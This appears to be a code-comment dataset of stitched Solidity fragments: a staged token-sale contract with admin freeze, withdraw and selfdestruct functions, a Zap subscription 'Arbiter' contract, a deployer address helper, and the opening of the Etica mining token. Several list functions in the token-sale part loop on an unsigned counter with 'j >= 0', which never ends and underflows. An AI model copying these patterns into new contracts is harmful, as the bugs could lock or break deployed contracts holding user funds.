if(isAdmin()==true) revert(); // admins are not allowed to buy tokens
uint256 tokens;
uint256 wei_per_now= sale_price_per_stage_wei_per_now[sale_stage_index];
// if sent ether value is less than exch_rate, revert
if (msg.value < wei_per_now) revert();
// calculate num of bought tokens based on sent ether value (in wei)
tokens = uint256( msg.value / wei_per_now );
if (tokens + sold_tokens_total > totalSupply) revert();
// update token sale statistics per stage
if(sale_stage_index==0) sale_amount_stage0_account[msg.sender] += tokens; else
if(sale_stage_index==1) sale_amount_stage1_account[msg.sender] += tokens; else
if(sale_stage_index==2) sale_amount_stage2_account[msg.sender] += tokens; else
if(sale_stage_index==3) sale_amount_stage3_account[msg.sender] += tokens; else
if(sale_stage_index==4) sale_amount_stage4_account[msg.sender] += tokens;
sold_tokens_per_stage[sale_stage_index] += tokens;
sold_tokens_total += tokens;
// update ether statistics
raised_ethers_per_stage[sale_stage_index] += msg.value;
raised_ethers_total += msg.value;
super.transferFromByAdmin(owner, msg.sender, tokens);
// check if this holder is new
if(holders_received_accumul[msg.sender]==0x0) {
// new holder comes
holders.push(msg.sender);
if(sale_stage_index==0) holders_stage0_sale.push(msg.sender); else
if(sale_stage_index==1) holders_stage1_sale.push(msg.sender); else
if(sale_stage_index==2) holders_stage2_sale.push(msg.sender); else
if(sale_stage_index==3) holders_stage3_sale.push(msg.sender); else
if(sale_stage_index==4) holders_stage4_sale.push(msg.sender);
emit NewHolderSale(msg.sender, block.timestamp);
}
holders_received_accumul[msg.sender] += tokens;
// leave a token sale history entry
history_token_sale_obj memory history = history_token_sale_obj( {
_buyer: msg.sender,
_ether_value: msg.value,
_token_value: tokens,
_when: block.timestamp
} );
if(sale_stage_index==0) history_token_sale_stage0.push( history ); else
if(sale_stage_index==1) history_token_sale_stage1.push( history ); else
if(sale_stage_index==2) history_token_sale_stage2.push( history ); else
if(sale_stage_index==3) history_token_sale_stage3.push( history ); else
if(sale_stage_index==4) history_token_sale_stage4.push( history );
emit IssueTokenSale(msg.sender, msg.value, tokens, wei_per_now, block.timestamp);
// if target ether is reached, stop this sale stage
if( target_ethers_per_stage[sale_stage_index] <= raised_ethers_per_stage[sale_stage_index])
stop_StageN_Sale(sale_stage_index);
}
event FreezeAccount(address indexed _account_to_freeze, uint256 indexed _when);
event UnfreezeAccount(address indexed _account_to_unfreeze, uint256 indexed _when);
/**
* @dev freeze a holder account, prohibit further token transfer
* (run by ADMIN, public function)
* @param _account_to_freeze account to freeze
*/
function z_admin_freeze(address _account_to_freeze) public onlyAdmin {
account_frozen_time[_account_to_freeze]= block.timestamp;
holders_frozen.push(_account_to_freeze);
emit FreezeAccount(_account_to_freeze,block.timestamp);
}
/**
* @dev unfreeze a holder account
* (run by ADMIN, public function)
* @param _account_to_unfreeze account to unfreeze (previously frozen)
*/
function z_admin_unfreeze(address _account_to_unfreeze) public onlyAdmin {
account_frozen_time[_account_to_unfreeze]= 0; // reset time to zero
emit UnfreezeAccount(_account_to_unfreeze,block.timestamp);
}
event CloseTokenContract(uint256 indexed _when);
/**
* @dev close this contract after burning all tokens
* (run by ADMIN, public function )
*/
function closeContract() onlyAdmin internal {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS) revert();
if(totalSupply > 0) revert();
address ScAddress = this;
emit CloseTokenContract(block.timestamp);
emit WithdrawEther(owner,ScAddress.balance,block.timestamp);
selfdestruct(owner);
}
/**
* @dev retrieve contract's ether balance info
* (public view function)
* @return _current_ether_balane current contract ethereum balance ( in wei unit)
* @return _ethers_withdrawn withdrawen ethers in wei
* @return _ethers_raised_total total ethers gathered from token sale
*/
function ContractEtherBalance() public view
returns (
uint256 _current_ether_balance,
uint256 _ethers_withdrawn,
uint256 _ethers_raised_total
) {
_current_ether_balance= address(this).balance;
_ethers_withdrawn= totalEtherWithdrawed;
_ethers_raised_total= raised_ethers_total;
}
event WithdrawEther(address indexed _addr, uint256 _value, uint256 indexed _when);
/**
* @dev transfer this contract ether balance to owner's account
* ( public function )
* @param _withdraw_wei_value amount to widthdraw ( in wei unit)
*/
function z_admin_withdraw_ether(uint256 _withdraw_wei_value) onlyAdmin public {
address ScAddress = this;
if(_withdraw_wei_value > ScAddress.balance) revert();
//if(owner.call.value(_withdraw_wei_value).gas(5000)()==false) revert();
if(owner.send(_withdraw_wei_value)==false) revert();
totalEtherWithdrawed += _withdraw_wei_value;
emit WithdrawEther(owner,_withdraw_wei_value,block.timestamp);
}
/**
* @dev return list of active holders accounts and their balances
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest accounts items to display ( 0 means 1 )
* @return _num_of_active_holders number of latest holders accounts
* @return _active_holders array of active( balance > 0) holders
* @return _token_balances array of token balances
*/
function list_active_holders_and_balances(uint _max_num_of_items_to_display) public view
returns (uint _num_of_active_holders,address[] _active_holders,uint[] _token_balances){
uint len = holders.length;
_num_of_active_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
if( balances[ holders[i] ] != 0x0) _num_of_active_holders++;
if(_max_num_of_items_to_display == _num_of_active_holders) break;
}
_active_holders = new address[](_num_of_active_holders);
_token_balances = new uint[](_num_of_active_holders);
uint num=0;
for (uint j = len-1 ; j >= 0 && _num_of_active_holders > num ; j--) {
address addr = holders[j];
if( balances[ addr ] == 0x0) continue; // assure balance > 0
_active_holders[num] = addr;
_token_balances[num] = balances[addr];
num++;
}
}
/**
* @dev return list of recent stage0 token sale history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest token sale history items
* @return _sale_holders array of holders
* @return _ethers array of ethers paid
* @return _tokens array of tokens bought
* @return _whens array of sale times
*/
function list_history_of_stage0_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage0.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage0[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of recent stage1 token sale history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest token sale history items
* @return _sale_holders array of holders
* @return _ethers array of ethers paid
* @return _tokens array of tokens bought
* @return _whens array of sale times
*/
function list_history_of_stage1_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage1.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage1[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of recent stage2 token sale history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest token sale history items
* @return _sale_holders array of holders
* @return _ethers array of ethers paid
* @return _tokens array of tokens bought
* @return _whens array of sale times
*/
function list_history_of_stage2_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage2.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage2[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of recent stage3 token sale history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest token sale history items
* @return _sale_holders array of holders
* @return _ethers array of ethers paid
* @return _tokens array of tokens bought
* @return _whens array of sale times
*/
function list_history_of_stage3_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage3.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage3[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of recent stage4 token sale history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest token sale history items
* @return _sale_holders array of holders
* @return _ethers array of ethers paid
* @return _tokens array of tokens bought
* @return _whens array of sale times
*/
function list_history_of_stage4_sale(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _sale_holders,uint[] _ethers,uint[] _tokens,uint[] _whens){
uint len = history_token_sale_stage4.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_sale_holders = new address[](n);
_ethers = new uint[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_sale_obj storage obj= history_token_sale_stage4[j];
_sale_holders[_num]= obj._buyer;
_ethers[_num]= obj._ether_value;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of latest #N transfer history
* ( public view function )
* @param _max_num_of_items_to_display Max Number of latest history items to display ( 0 means 1 )
* @return _num number of latest transfer history items
* @return _senders array of senders
* @return _receivers array of receivers
* @return _tokens array of tokens transferred
* @return _whens array of transfer times
*/
function list_history_of_token_transfer(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint n= len;
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
if(_max_num_of_items_to_display < n) n= _max_num_of_items_to_display;
_senders = new address[](n);
_receivers = new address[](n);
_tokens = new uint[](n);
_whens = new uint[](n);
_num=0;
for (uint j = len-1 ; j >= 0 && n > _num ; j--) {
history_token_transfer_obj storage obj= history_token_transfer[j];
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return list of latest address-filtered #N transfer history
* ( public view function )
* @param _addr address as filter for transfer history (default 0x0)
* @return _num number of latest transfer history items
* @return _senders array of senders
* @return _receivers array of receivers
* @return _tokens array of tokens transferred
* @return _whens array of transfer times
*/
function list_history_of_token_transfer_filtered_by_addr(address _addr) public view
returns (uint _num,address[] _senders,address[] _receivers,uint[] _tokens,uint[] _whens){
uint len = history_token_transfer.length;
uint _max_num_of_items_to_display= 0;
history_token_transfer_obj storage obj= history_token_transfer[0];
uint j;
for (j = len-1 ; j >= 0 ; j--) {
obj= history_token_transfer[j];
if(obj._from== _addr || obj._to== _addr) _max_num_of_items_to_display++;
}
if(_max_num_of_items_to_display == 0) _max_num_of_items_to_display= 1;
_senders = new address[](_max_num_of_items_to_display);
_receivers = new address[](_max_num_of_items_to_display);
_tokens = new uint[](_max_num_of_items_to_display);
_whens = new uint[](_max_num_of_items_to_display);
_num=0;
for (j = len-1 ; j >= 0 && _max_num_of_items_to_display > _num ; j--) {
obj= history_token_transfer[j];
if(obj._from!= _addr && obj._to!= _addr) continue;
_senders[_num]= obj._from;
_receivers[_num]= obj._to;
_tokens[_num]= obj._token_value;
_whens[_num]= obj._when;
_num++;
}
}
/**
* @dev return frozen accounts and their balances
* ( public view function )
* @param _max_num_of_items_to_display Max Number of items to display ( 0 means 1 )
* @return _num number of currently frozen accounts
* @return _frozen_holders array of frozen accounts
* @return _whens array of frozen times
*/
function list_frozen_accounts(uint _max_num_of_items_to_display) public view
returns (uint _num,address[] _frozen_holders,uint[] _whens){
uint len = holders_frozen.length;
uint num_of_frozen_holders = 0;
if(_max_num_of_items_to_display==0) _max_num_of_items_to_display=1;
for (uint i = len-1 ; i >= 0 ; i--) {
// assure currently in frozen state
if( account_frozen_time[ holders_frozen[i] ] > 0x0) num_of_frozen_holders++;
if(_max_num_of_items_to_display == num_of_frozen_holders) break;
}
_frozen_holders = new address[](num_of_frozen_holders);
_whens = new uint[](num_of_frozen_holders);
_num=0;
for (uint j = len-1 ; j >= 0 && num_of_frozen_holders > _num ; j--) {
address addr= holders_frozen[j];
uint256 when= account_frozen_time[ addr ];
if( when == 0x0) continue; // assure if frozen true
_frozen_holders[_num]= addr;
_whens[_num]= when;
_num++;
}
}
/**
* @dev Token sale sumilation for current sale stage
* ( public view function )
* @param _ether_or_wei_value input ethereum value (in wei or ether unit)
* @return _num_of_tokens number of tokens that can be bought with the input value
* @return _exch_rate current sale stage exchange rate (wei per now)
* @return _current_sale_stage_index current sale stage index
*/
function simulate_token_sale(uint _ether_or_wei_value) public view
returns (uint256 _num_of_tokens, uint256 _exch_rate, uint256 _current_sale_stage_index) {
if(sale_stage_index >=5 ) return (0,0,0);
_exch_rate= sale_price_per_stage_wei_per_now[sale_stage_index];
_current_sale_stage_index= sale_stage_index;
// determine whether the input value is in ether unit or in wei unit
if(_ether_or_wei_value>=1000000)
_num_of_tokens= uint256( _ether_or_wei_value / _exch_rate ); // guess it is in wei
else
_num_of_tokens= uint256( _ether_or_wei_value * WEI_PER_ETHER / _exch_rate ); // guess it is in ether
}
/**
* @dev Admin menu: Token Sale Status management
* (run by admin, public function)
* @param _next_status next status index (1 ~ 13). refer to enum Sale_Status
*/
function z_admin_next_status(Sale_Status _next_status) onlyAdmin public {
if(_next_status== Sale_Status.Stage0_Sale_Started_STATUS) { start_StageN_Sale(0); return;} // 1
if(_next_status== Sale_Status.Stage0_Sale_Stopped_STATUS) { stop_StageN_Sale(0); return;} // 2
if(_next_status== Sale_Status.Stage1_Sale_Started_STATUS) { start_StageN_Sale(1); return;} // 3
if(_next_status== Sale_Status.Stage1_Sale_Stopped_STATUS) { stop_StageN_Sale(1); return;} // 4
if(_next_status== Sale_Status.Stage2_Sale_Started_STATUS) { start_StageN_Sale(2); return;} // 5
if(_next_status== Sale_Status.Stage2_Sale_Stopped_STATUS) { stop_StageN_Sale(2); return;} // 6
if(_next_status== Sale_Status.Stage3_Sale_Started_STATUS) { start_StageN_Sale(3); return;} // 7
if(_next_status== Sale_Status.Stage3_Sale_Stopped_STATUS) { stop_StageN_Sale(3); return;} // 8
if(_next_status== Sale_Status.Stage4_Sale_Started_STATUS) { start_StageN_Sale(4); return;} // 9
if(_next_status== Sale_Status.Stage4_Sale_Stopped_STATUS) { stop_StageN_Sale(4); return;} // 10
if(_next_status== Sale_Status.Public_Allowed_To_Trade_STATUS) { start_Public_Trade(); return;} //11
if(_next_status== Sale_Status.Stage0_Allowed_To_Trade_STATUS) { start_Stage0_Trade(); return;} //12
if(_next_status== Sale_Status.Closed_STATUS) { closeContract(); return;} //13
revert();
}
}
|
cryptocurrency exchange office ether address, for monitorig purpose
|
address[] public cryptocurrency_exchange_company_accounts;
| 13,028,544
|
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pragma solidity ^0.4.24;
// v1.0
import "../../lib/ownership/Upgradable.sol";
import "../../lib/lifecycle/Destructible.sol";
import "../bondage/BondageInterface.sol";
import "./ArbiterInterface.sol";
import "../database/DatabaseInterface.sol";
contract Arbiter is Destructible, ArbiterInterface, Upgradable {
// Called when a data purchase is initiated
event DataPurchase(
address indexed provider, // Etheruem address of the provider
address indexed subscriber, // Ethereum address of the subscriber
uint256 publicKey, // Public key of the subscriber
uint256 indexed amount, // Amount (in 1/100 ZAP) of ethereum sent
bytes32[] endpointParams, // Endpoint specific(nonce,encrypted_uuid),
bytes32 endpoint // Endpoint specifier
);
// Called when a data subscription is ended by either provider or terminator
event DataSubscriptionEnd(
address indexed provider, // Provider from the subscription
address indexed subscriber, // Subscriber from the subscription
SubscriptionTerminator indexed terminator // Which terminated the contract
);
// Called when party passes arguments to another party
event ParamsPassed(
address indexed sender,
address indexed receiver,
bytes32 endpoint,
bytes32[] params
);
// Used to specify who is the terminator of a contract
enum SubscriptionTerminator { Provider, Subscriber }
BondageInterface bondage;
address public bondageAddress;
// database address and reference
DatabaseInterface public db;
constructor(address c) Upgradable(c) public {
_updateDependencies();
}
function _updateDependencies() internal {
bondageAddress = coordinator.getContract("BONDAGE");
bondage = BondageInterface(bondageAddress);
address databaseAddress = coordinator.getContract("DATABASE");
db = DatabaseInterface(databaseAddress);
}
//@dev broadcast parameters from sender to offchain receiver
/// @param receiver address
/// @param endpoint Endpoint specifier
/// @param params arbitrary params to be passed
function passParams(address receiver, bytes32 endpoint, bytes32[] params) public {
emit ParamsPassed(msg.sender, receiver, endpoint, params);
}
/// @dev subscribe to specified number of blocks of provider
/// @param providerAddress Provider address
/// @param endpoint Endpoint specifier
/// @param endpointParams Endpoint specific params
/// @param publicKey Public key of the purchaser
/// @param blocks Number of blocks subscribed, 1block=1dot
function initiateSubscription(
address providerAddress, //
bytes32 endpoint, //
bytes32[] endpointParams, //
uint256 publicKey, // Public key of the purchaser
uint64 blocks //
)
public
{
// Must be atleast one block
require(blocks > 0, "Error: Must be at least one block");
// Can't reinitiate a currently active contract
require(getDots(providerAddress, msg.sender, endpoint) == 0, "Error: Cannot reinstantiate a currently active contract");
// Escrow the necessary amount of dots
bondage.escrowDots(msg.sender, providerAddress, endpoint, blocks);
// Initiate the subscription struct
setSubscription(
providerAddress,
msg.sender,
endpoint,
blocks,
uint96(block.number),
uint96(block.number) + uint96(blocks)
);
emit DataPurchase(
providerAddress,
msg.sender,
publicKey,
blocks,
endpointParams,
endpoint
);
}
/// @dev get subscription info
function getSubscription(address providerAddress, address subscriberAddress, bytes32 endpoint)
public
view
returns (uint64 dots, uint96 blockStart, uint96 preBlockEnd)
{
return (
getDots(providerAddress, subscriberAddress, endpoint),
getBlockStart(providerAddress, subscriberAddress, endpoint),
getPreBlockEnd(providerAddress, subscriberAddress, endpoint)
);
}
/// @dev Finish the data feed from the provider
function endSubscriptionProvider(
address subscriberAddress,
bytes32 endpoint
)
public
{
// Emit an event on success about who ended the contract
if (endSubscription(msg.sender, subscriberAddress, endpoint))
emit DataSubscriptionEnd(
msg.sender,
subscriberAddress,
SubscriptionTerminator.Provider
);
}
/// @dev Finish the data feed from the subscriber
function endSubscriptionSubscriber(
address providerAddress,
bytes32 endpoint
)
public
{
// Emit an event on success about who ended the contract
if (endSubscription(providerAddress, msg.sender, endpoint))
emit DataSubscriptionEnd(
providerAddress,
msg.sender,
SubscriptionTerminator.Subscriber
);
}
/// @dev Finish the data feed
function endSubscription(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
private
returns (bool)
{
// get the total value/block length of this subscription
uint256 dots = getDots(providerAddress, subscriberAddress, endpoint);
uint256 preblockend = getPreBlockEnd(providerAddress, subscriberAddress, endpoint);
// Make sure the subscriber has a subscription
require(dots > 0, "Error: Subscriber must have a subscription");
if (block.number < preblockend) {
// Subscription ended early
uint256 earnedDots = block.number - getBlockStart(providerAddress, subscriberAddress, endpoint);
uint256 returnedDots = dots - earnedDots;
// Transfer the earned dots to the provider
bondage.releaseDots(
subscriberAddress,
providerAddress,
endpoint,
earnedDots
);
// Transfer the returned dots to the subscriber
bondage.returnDots(
subscriberAddress,
providerAddress,
endpoint,
returnedDots
);
} else {
// Transfer all the dots
bondage.releaseDots(
subscriberAddress,
providerAddress,
endpoint,
dots
);
}
// Kill the subscription
deleteSubscription(providerAddress, subscriberAddress, endpoint);
return true;
}
/*** --- *** STORAGE METHODS *** --- ***/
/// @dev get subscriber dots remaining for specified provider endpoint
function getDots(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
public
view
returns (uint64)
{
return uint64(db.getNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'dots'))));
}
/// @dev get first subscription block number
function getBlockStart(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
public
view
returns (uint96)
{
return uint96(db.getNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'blockStart'))));
}
/// @dev get last subscription block number
function getPreBlockEnd(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
public
view
returns (uint96)
{
return uint96(db.getNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'preBlockEnd'))));
}
/**** Set Methods ****/
/// @dev store new subscription
function setSubscription(
address providerAddress,
address subscriberAddress,
bytes32 endpoint,
uint64 dots,
uint96 blockStart,
uint96 preBlockEnd
)
private
{
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'dots')), dots);
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'blockStart')), uint256(blockStart));
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'preBlockEnd')), uint256(preBlockEnd));
}
/**** Delete Methods ****/
/// @dev remove subscription
function deleteSubscription(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
private
{
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'dots')), 0);
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'blockStart')), uint256(0));
db.setNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'preBlockEnd')), uint256(0));
}
}
/*************************************** STORAGE ****************************************
* 'holders', holderAddress, 'initialized', oracleAddress => {uint256} 1 -> provider-subscriber initialized, 0 -> not initialized
* 'holders', holderAddress, 'bonds', oracleAddress, endpoint => {uint256} number of dots this address has bound to this endpoint
* 'oracles', oracleAddress, endpoint, 'broker' => {address} address of endpoint broker, 0 if none
* 'escrow', holderAddress, oracleAddress, endpoint => {uint256} amount of Zap that have been escrowed
* 'totalBound', oracleAddress, endpoint => {uint256} amount of Zap bound to this endpoint
* 'totalIssued', oracleAddress, endpoint => {uint256} number of dots issued by this endpoint
* 'holders', holderAddress, 'oracleList' => {address[]} array of oracle addresses associated with this holder
****************************************************************************************/
|
@dev get last subscription block number
|
function getPreBlockEnd(
address providerAddress,
address subscriberAddress,
bytes32 endpoint
)
public
view
returns (uint96)
{
return uint96(db.getNumber(keccak256(abi.encodePacked('subscriptions', providerAddress, subscriberAddress, endpoint, 'preBlockEnd'))));
}
| 1,003,847
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./full_match/11155111/0xc2A92e838E6E9e4300a50D0FC27d5c7e5A799483/sources/src/DripsDeployer.sol
|
@notice Computes the deterministic address of a contract deployed by a deployer. The contract doesn't need to be deployed yet, it's a hypothetical address. @param salt The salt used for deployment. @param deployer The address of the deployer of the proxy and the contract. @return addr The deployed contract's address.
|
function computeAddress(bytes32 salt, address deployer) internal pure returns (address addr) {
(, addr) = _computeAddress(salt, deployer);
}
| 3,795,540
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pragma solidity ^0.5.2;
/*
ETICA: a type1 civilization neutral protocol for medical research
KEVIN WAD OSSENI
*/
/*
MIT License
Copyright © 26/08/2019, KEVIN WAD OSSENI
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
The Software is provided “as is”, without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the Software.
*/
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EticaToken is ERC20Interface{
using SafeMath for uint;
using ExtendedMath for uint;
string public name = "Etica";
string public symbol = "ETI";
uint public decimals = 18;
uint public supply;
uint public inflationrate; // fixed inflation rate of phase2 (after Etica supply has reached 21 Million ETI)
uint public periodrewardtemp; // Amount of ETI issued per period during phase1 (before Etica supply has reached 21 Million ETI)
uint public PERIOD_CURATION_REWARD_RATIO = 38196601125; // 38.196601125% of period reward will be used as curation reward
uint public PERIOD_EDITOR_REWARD_RATIO = 61803398875; // 61.803398875% of period reward will be used as editor reward
uint public UNRECOVERABLE_ETI;
// Etica is a neutral protocol, it has no founder I am only an initiator:
string public constant initiatormsg = "Discovering our best Futures. All proposals are made under the Creative Commons license 4.0. Kevin Wad";
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) allowed;
// ----------- Mining system state variables ------------ //
uint public _totalMiningSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; //number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 2016;
//a little number
uint public _MINIMUM_TARGET = 2**2;
//a big number is easier ; just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
//uint public _MAXIMUM_TARGET = 2**242; // used for tests 243 much faster, 242 seems to be the limit where mining gets much harder
uint public _MAXIMUM_TARGET = 2**220; // used for prod
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public blockreward;
address public lastRewardTo;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
bytes32 RANDOMHASH;
// ----------- Mining system state variables ------------ //
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Mint(address indexed from, uint blockreward, uint epochCount, bytes32 newChallengeNumber);
constructor() public{
supply = 100 * (10**18); // initial supply equals 100 ETI
balances[address(this)] = balances[address(this)].add(100 * (10**18)); // 100 ETI as the default contract balance.
// ------------ PHASE 1 (before 21 Million ETI has been reached) -------------- //
/* Phase 1 will last about 10 years:
--> 11 550 000 ETI to be distributed through MINING as block reward
--> 9 450 000 ETI to be issued during phase 1 as periodrewardtemp for ETICA reward system
Phase1 is divided between 10 eras:
Each Era will allocate 2 100 000 ETI between mining reward and the staking system reward.
Each era is supposed to last about a year but can vary depending on hashrate.
Era1: 90% ETI to mining and 10% ETI to Staking | Era2: 80% ETI to mining and 20% ETI to Staking
Era3: 70% ETI to mining and 30% ETI to Staking | Era4: 60% ETI to mining and 40% ETI to Staking
Era5: 50% ETI to mining and 50% ETI to Staking | Era6: 50% ETI to mining and 50% ETI to Staking
Era7: 50% ETI to mining and 50% ETI to Staking | Era8: 50% ETI to mining and 50% ETI to Staking
Era9: 50% ETI to mining and 50% ETI to Staking | Era10: 50% ETI to mining and 50% ETI to Staking
Era1: 1 890 000 ETI as mining reward and 210 000 ETI as Staking reward
Era2: 1 680 000 ETI as mining reward and 420 000 ETI as Staking reward
Era3: 1 470 000 ETI as mining reward and 630 000 ETI as Staking reward
Era4: 1 260 000 ETI as mining reward and 840 000 ETI as Staking reward
From Era5 to era10: 1 050 000 ETI as mining reward and 1 050 000 ETI as Staking reward
*/
// --- STAKING REWARD --- //
// periodrewardtemp: It is the temporary ETI issued per period (7 days) as reward of Etica System during phase 1. (Will be replaced by dynamic inflation of golden number at phase 2)
// Calculation of initial periodrewardtemp:
// 210 000 / 52.1429 = 4027.3939500871643119; ETI per week
periodrewardtemp = 4027393950087164311900; // 4027.393950087164311900 ETI per period (7 days) for era1
// --- STAKING REWARD --- //
// --- MINING REWARD --- //
_totalMiningSupply = 11550000 * 10**uint(decimals);
tokensMinted = 0;
// Calculation of initial blockreward:
// 1 890 000 / 52.1429 = 36246.5455507844788073; ETI per week
// amounts to 5178.0779358263541153286 ETI per day;
// amounts to 215.7532473260980881386917 ETI per hour;
// amounts to 35.9588745543496813564486167 ETI per block for era1 of phase1;
blockreward = 35958874554349681356;
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.timestamp;
_startNewMiningEpoch();
// --- MINING REWARD --- //
